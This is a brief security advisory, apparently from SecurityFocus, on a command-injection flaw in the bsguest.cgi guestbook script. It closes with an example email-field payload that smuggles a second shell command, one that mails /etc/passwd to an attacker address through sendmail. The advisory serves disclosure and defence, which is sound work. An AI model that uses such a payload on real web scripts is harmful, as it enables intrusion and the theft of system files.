source: https://www.securityfocus.com/bid/2159/info

An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

The script fails to properly filter ';' characters from the user-supplied email address collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.


Attacker enters his email address as <whitehatjoe@hotmail.com>

'hacker@example.com;/usr/sbin/sendmail hacker@example.com < /etc/passwd',

server mails a confirmation letter along with the passwd file to the attacker.